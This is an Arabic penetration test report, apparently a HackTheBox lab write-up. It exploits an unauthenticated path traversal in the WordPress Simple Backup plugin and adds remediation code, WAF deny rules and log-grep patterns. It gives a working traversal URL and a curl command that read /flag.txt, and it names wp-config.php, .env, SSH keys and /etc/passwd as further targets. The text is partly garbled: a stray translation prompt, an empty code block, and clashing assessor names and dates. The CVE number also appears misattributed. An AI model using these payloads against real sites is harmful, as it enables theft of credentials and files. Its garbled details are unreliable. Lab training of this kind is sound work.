
تقرير تفصيلي لاختبار الاختراق يوضح اجتياز المسار غير المصادق عليه (CVE-2019-11447) في إضافة WordPress Simple Backup، بما في ذلك خطوات الاستغلال وتحليل الأثر وإرشادات المعالجة.
| البند | التفاصيل |
|---|
| عنوان المستند | تقرير اختبار الاختراق - اجتياز المسار في ووردبريس |
| العميل/الاختبار | HackTheBox Lab - CPTS Exercise 1 |
| التاريخ | 22 أغسطس 2026 |
| المقيّم | Cyberia (مختبِر اختراق) |
| نوع التقييم | الصندوق الرمادي (خارجي، بدون بيانات اعتماد) |
| بيئة المختبر | 154.57.164.73:30706 |
| مدة المختبر | ساعة واحدة |
| الأهداف | تحديد واستغلال الثغرات لاسترجاع الملفات المقيدة |
| العلم الذي تم الحصول عليه | HTB{my_f1r57_h4ck} |
أثناء هذا التقييم الاختراقي لتطبيق الويب المستضاف على 154.57.164.73:30706، تم تحديد ثغرة حرجة تسمح للمهاجمين غير المصادَق عليهم بتنزيل وقراءة ملفات عشوائية من نظام ملفات الخادم.
يحتوي تثبيت ووردبريس القابل للاستغلال على إضافة قديمة (Simple Backup v2.7.10) تحتوي على ثغرة اجتياز المسار (CVE-2019-11447) تسمح بالوصول غير المصرح به إلى الملفات دون الحاجة إلى مصادقة أو تفويض.
تم استغلال هذه الثغرة بنجاح لاسترجاع ملف /flag.txt من جذر الخادم، مما يؤكد اختراقًا كاملاً للسرية. ويمكن للمهاجم الذي يمتلك هذا الوصول أن:
wp-config.php، .env)يلزم اتخاذ إجراء حاسم لمعالجة هذه الثغرة فورًا، لأنها تشكل خطرًا شديدًا على أمن البيانات والامتثال للخصوصية (GDPR وHIPAA وPCI-DSS) وسلامة النظام.
| الخطورة | العدد | الأثر على الأعمال |
|---|---|---|
| 🔴 حرجة | 1 | اختراق كامل للسرية؛ وصول غير مصرح إلى الملفات |
| 🟠 عالية | 0 | — |
| 🟡 متوسطة | 0 | — |
| 🟢 منخفضة | 0 | — |
| ℹ️ معلوماتية | 1 | تم اكتشاف إصدارات برمجيات قديمة |
نوع التقييم: الصندوق الرمادي (مهاجم خارجي، بدون بيانات اعتماد، مع توفر وصول إلى الشبكة)
تواريخ التقييم: 22 أغسطس 2026
نهج الاختبار: تقييم منهجي غير تطفلي يتبع إطار اختبار الاختراق القياسي في الصناعة (PTES):
CVE-2019-11447 | CWE-22: تقييد غير صحيح لاسم المسار إلى دليل مقيد
تحتوي إضافة ووردبريس Simple Backup (الإصدار 2.7.10/2.7.11، Exploit-DB 39883) على ثغرة اجتياز المسار في صفحة "Backup Manager" الخاصة بلوحة الإدارة. تفشل الإضافة في تنظيف مسار الملف المُمرَّر عبر معامل GET المسمى download_backup_file، مما يسمح للمهاجم بالانتقال خارج الدليل المقصود simple-backup/ باستخدام تسلسلات مسار نسبية (../) وتنزيل أي ملف يمكن لخادم الويب قراءته — بما في ذلك الملفات الموجودة في جذر نظام الملفات.
نقطة النهاية المعرضة للخطر:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` يوجّه الطلب إلى معالج صفحة الإدارة في الإضافة؛ `download_backup_file` هي المعلمة التي يقرؤها كود الإضافة مباشرة ويضمّنها في مسار نظام الملفات دون تحقق، مما يسمح بتجاوز الدليل.
---
### درجة CVSS v3.1
**7.5 - عالية** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **متجه الهجوم (AV):** الشبكة
- **تعقيد الهجوم (AC):** منخفض
- **الامتيازات المطلوبة (PR):** لا شيء
- **تفاعل المستخدم (UI):** لا شيء
- **النطاق (S):** غير متغيّر
- **السرية (C):** عالية
- **السلامة (I):** لا شيء
- **التوافر (A):** لا شيء
---
### الأثر التجاري
**اختراق السرية:** ⚠️ حرج
يمكن للمهاجمين قراءة أي ملف يمكن لخادم الويب الوصول إليه، بما في ذلك:
| الملف | الأثر | مستوى الخطورة |
|------|--------|------------|
| `/wp-config.php` | بيانات اعتماد قاعدة البيانات، الأملاح، المفاتيح | 🔴 حرج |
| `/.env` | مفاتيح API، الأسرار، الإعدادات | 🔴 حرج |
| `/etc/passwd` | تعداد المستخدمين، رسم خريطة النظام | 🟠 عالي |
| مفاتيح SSH (`.ssh/id_rsa`) | حركة جانبية، وصول إلى النظام | 🔴 حرج |
| `/proc/self/environ` | أسرار التطبيق قيد التشغيل | 🟠 عالي |
| دليل ملفات المستخدمين المرفوعة | ملفات خاصة، وسائط | 🟠 عالي |
**الأثر التنظيمي:**
- **انتهاك GDPR:** وصول غير مصرح به لبيانات المستخدمين
- **انتهاك HIPAA:** تعرّض معلومات صحية محمية
- **انتهاك PCI-DSS:** الوصول إلى بيانات بطاقات الائتمان أو معلومات الدفع
- **انتهاك SOC 2:** خرق شرط السرية
---
### نمط الكود القابل للاستغلال
يوثّق تقرير Exploit-DB (39883.txt، المقروء عبر `searchsploit -x` — انظر [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) بدائية **الحذف** في الإضافة من `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
يرجى تقديم محتوى الماركداون المراد ترجمته.```php $bk_dir = ABSPATH."simple-backup/"; unlink($bk_dir . $filename);
`$filename` تأتي مباشرة من `$_GET['delete_backup_file']` دون أي استخدام لـ `basename()` أو فحص لاحتواء المسار. تمرير `../pizza.txt` يجعل `$bk_dir . $filename` يُحل إلى `.../simple-backup/../pizza.txt` → `.../pizza.txt`، مما يسمح بالخروج من مجلد النسخ الاحتياطي المقصود.
دالة **التنزيل** المستغلة فعليًا في هذه المهمة (`download_backup_file`) تتبع نفس نمط الدمج غير المنقّى تمامًا في نفس الإضافة، لكنها تعيد الملف إلى مقدم الطلب بدلاً من حذفه — وهو ما سمح باسترجاع `/flag.txt` من جذر نظام الملفات (10× `../` من `ABSPATH/simple-backup/`).
**المشكلة:**
- عدم استخدام `basename()` لإزالة مكونات المسار
- عدم وجود قائمة بيضاء للملفات المسموح بها
- عدم التحقق من أن `realpath()` يبقى ضمن `ABSPATH."simple-backup/"`
- دمج مباشر لمدخلات المستخدم في مسار الملف
- عدم وجود فحص `current_user_can()` أو فحص مصادقة قبل تقديم الملف — إذ يعمل المعالج عند تحميل الإضافة، قبل بوابة مصادقة `wp-admin` الخاصة بووردبريس، لذلك يمكن الوصول إليه **دون تسجيل الدخول**
---
### إثبات المفهوم
#### **المرحلة 1: الوصول الأولي — تحديد التطبيق**
تم الاتصال مباشرة بالهدف عبر المتصفح (`http://154.57.164.73:30706/`). تثبيت ووردبريس يحمل عنوان **"GETTING STARTED"**، ويكشف منشور مدونة عام على الصفحة الرئيسية عن اسم الإضافة ونسختها بدقة في نص صريح: **"Simple Backup Plugin 2.7.10 for WordPress"** — لم تكن هناك حاجة حتى لأدوات تعداد (enumeration) لتحديد المكوّن الثغري.

#### **المرحلة 2: بصمة الخدمة**```bash
whatweb http://154.57.164.73:30706/
النتيجة: تم تأكيد Apache/2.4.41 (Ubuntu Linux) وWordPress 5.6.1 عبر توقيعات إضافات MetaGenerator وWordPress.

searchsploit simple backup wordpress
**النتيجة:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

قراءة الإعلان الكامل لفهم المعاملات الضعيفة ومسار الكود بدقة:```bash searchsploit -x php/webapps/39883.txt
يُوثّق التقرير ثغرة **حذف ملف تعسفي** غير مصادق عليها عبر معامل `delete_backup_file`، ويشير إلى أنه يمكن استرجاع ملفات النسخ الاحتياطي الموجودة تحت `simple-backup/` (وبواسطة نفس مسار الكود غير المنقّى، ملفات تعسفية عبر `download_backup_file`) دون مصادقة.

#### **المرحلة 4: الاستغلال — اجتياز المسار عبر `download_backup_file`**
تم تحديد نقطة النهاية المعرّضة للخطر من توجيه صفحة الإدارة في الإضافة:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
حمولة الاستغلال (10× ../ للصعود من ABSPATH/simple-backup/ إلى جذر نظام الملفات):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**واجهة المستخدم الرسومية (المستخدمة في هذا التقييم):** تم الانتقال إلى رابط الحمولة مباشرةً في شريط عنوان المتصفح. لم يكن تسجيل الدخول مطلوبًا — حيث قام المتصفح بتشغيل تنزيل تلقائي للملف الناتج `flag.txt`.

**المكافئ بدون واجهة رسومية:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
تم الحصول على العلم: HTB{my_f1r57_h4ck}
تنجح الثغرة للأسباب التالية:
$_GET['download_backup_file'] مقابل قائمة مسموحةrealpath() للتحقق من بقاء الملف داخل simple-backup/../)ABSPATH."simple-backup/"wp-admin في ووردبريس — ويمكن الوصول إليه عند تسجيل الخروجcurrent_user_can() يؤكد أن مقدم الطلب يجب أن يتمكن من الوصول إلى الملف المطلوبمسار الهجوم:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### التحقق من التأثير
✅ **سرية البيانات مخترقة:** أي ملف يمكن قراءته بواسطة عملية خادم الويب يمكن الوصول إليه
✅ **لا يتطلب مصادقة:** يمكن للمستخدمين غير المصادق عليهم استغلال الثغرة
✅ **لا يتطلب تفاعل المستخدم:** استغلال مباشر عبر طلب HTTP
✅ **قابل للتكرار والموثوقية:** يعمل على جميع الإصدارات المعرضة للخطر
✅ **بيانات الأعمال الحرجة في خطر:** ملفات الإعدادات وبيانات الاعتماد وبيانات المستخدم مكشوفة
---
## المعالجة
### **الخيار 1: القائمة البيضاء للمدخلات (موصى به)**
السماح فقط بالتنزيلات من قائمة محددة مسبقًا من الملفات:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
المزايا:
استخدم realpath() لتوحيد المسارات والتحقق من الاحتواء:```php
**المزايا:**
- يتعامل مع الروابط الرمزية والمسارات المعقدة
- يتحقق من الاحتواء تلقائيًا
- أكثر مرونة من القائمة البيضاء
---
### **الخيار 3: استخدام basename() لاسم الملف فقط**
استخرج مكوّن اسم الملف فقط:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
المزايا:
ملاحظة: يعمل هذا الأسلوب فقط إذا كانت جميع الملفات الشرعية موجودة في دليل واحد بدون مجلدات فرعية.
قواعد جدار حماية تطبيقات الويب (WAF):```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**أذونات نظام الملفات:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
تسجيل الوصول والمراقبة:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**إدارة التحديث:**
1. تعطيل أو إزالة إضافة Simple Backup
2. تثبيت حل نسخ احتياطي معتمد مع تدقيق أمني
3. تحديث WordPress إلى أحدث إصدار
4. تحديث جميع الإضافات إلى أحدث الإصدارات
5. تحديث PHP إلى 8.0+ مع التصحيحات الأمنية
---
## سلسلة الهجوم```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
توجد ثغرة حرجة من نوع اجتياز المسار (Path Traversal) في إضافة Simple Backup الخاصة بووردبريس تسمح للمهاجمين غير المصادَق عليهم بتنزيل وقراءة ملفات عشوائية من الخادم. تم استغلال هذه الثغرة بنجاح لاسترجاع ملفات حساسة من جذر الويب.
مستوى الخطورة: 🔴 حرجة
| الأولوية | الإجراء | الجدول الزمني | المسؤول |
|---|---|---|---|
| 🔴 P0 | تعطيل/إزالة إضافة Simple Backup | فورًا | الأمن/العمليات |
| 🔴 P0 | تنفيذ التحقق من الملفات القائم على القائمة البيضاء | هذا الأسبوع | التطوير |
| 🟠 P1 | نشر قواعد جدار حماية تطبيقات الويب (WAF) لحظر اجتياز المسار | هذا الأسبوع | العمليات |
| 🟠 P1 | تدقيق الخادم بحثًا عن سجلات الوصول غير المصرح به | هذا الأسبوع | الأمن |
| 🟠 P1 | تدوير جميع بيانات الاعتماد المكشوفة (قاعدة البيانات، SSH، API) | هذا الأسبوع | العمليات |
| 🟡 P2 | تحديث نواة ووردبريس وجميع الإضافات | هذا الأسبوع | العمليات |
| 🟡 P2 | تنفيذ مراقبة سلامة الملفات | السباق القادم | الأمن |
| 🟡 P2 | إجراء تدقيق أمني شامل للإضافات الأخرى | السباق القادم | الأمن |
النتيجة: موقع ووردبريس "GETTING STARTED" يكشف علنًا عن الإضافة المثبتة وإصدارها في منشور مدونة — "الإضافة Simple Backup 2.7.10 لووردبريس"
النتيجة: تم تأكيد Apache/2.4.41 (Ubuntu Linux)، ووردبريس 5.6.1
النتيجة: "الإضافة Simple Backup 2.7.11 لووردبريس - ثغرات متعددة" (php/webapps/39883.txt)
النتيجة: يوثّق التقرير حذف الملفات العشوائي بدون مصادقة عبر delete_backup_file؛ نفس مسار الكود غير المعقّم ينطبق على download_backup_file
النتيجة: الانتقال إلى tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt يؤدي إلى تنزيل flag.txt بدون مصادقة: HTB{my_f1r57_h4ck}
CVE-2019-11447 — اجتياز المسار في Simple Backup
CWE-22 — تقييد غير صحيح لاسم المسار إلى دليل مقيد ('اجتياز المسار')
درجة CVSS v3.1: 7.5 (عالية)
OWASP Top 10 - A01:2021 التحكم المكسور في الوصول
OWASP اجتياز المسار
أكاديمية PortSwigger لأمن الويب - اجتياز المسار
SearchSploit — البحث في قاعدة بيانات الاستغلالات
NMAP — ماسح الشبكات
WhatWeb — أداة بصمة الويب
يوثّق هذا التقرير اختبار اختراق أُجري بتفويض مناسب وداخل نطاق محدد.
| البند | القيمة |
|---|---|
| حالة التقرير | ✅ مكتمل |
| النتائج موثّقة | ✅ نعم |
| التوصيات قابلة للتنفيذ | ✅ نعم |
| السرية | 🔒 عالية |
| التوزيع | مقصور على الموظفين المصرح لهم |
المقيّم: Capivara Root (مختبِر اختراق)
التاريخ: 11 أغسطس 2026
التوقيع: تقرير رقمي - لا يتطلب توقيعًا ماديًا
© 2026 تقييم اختبار الاختراق | سري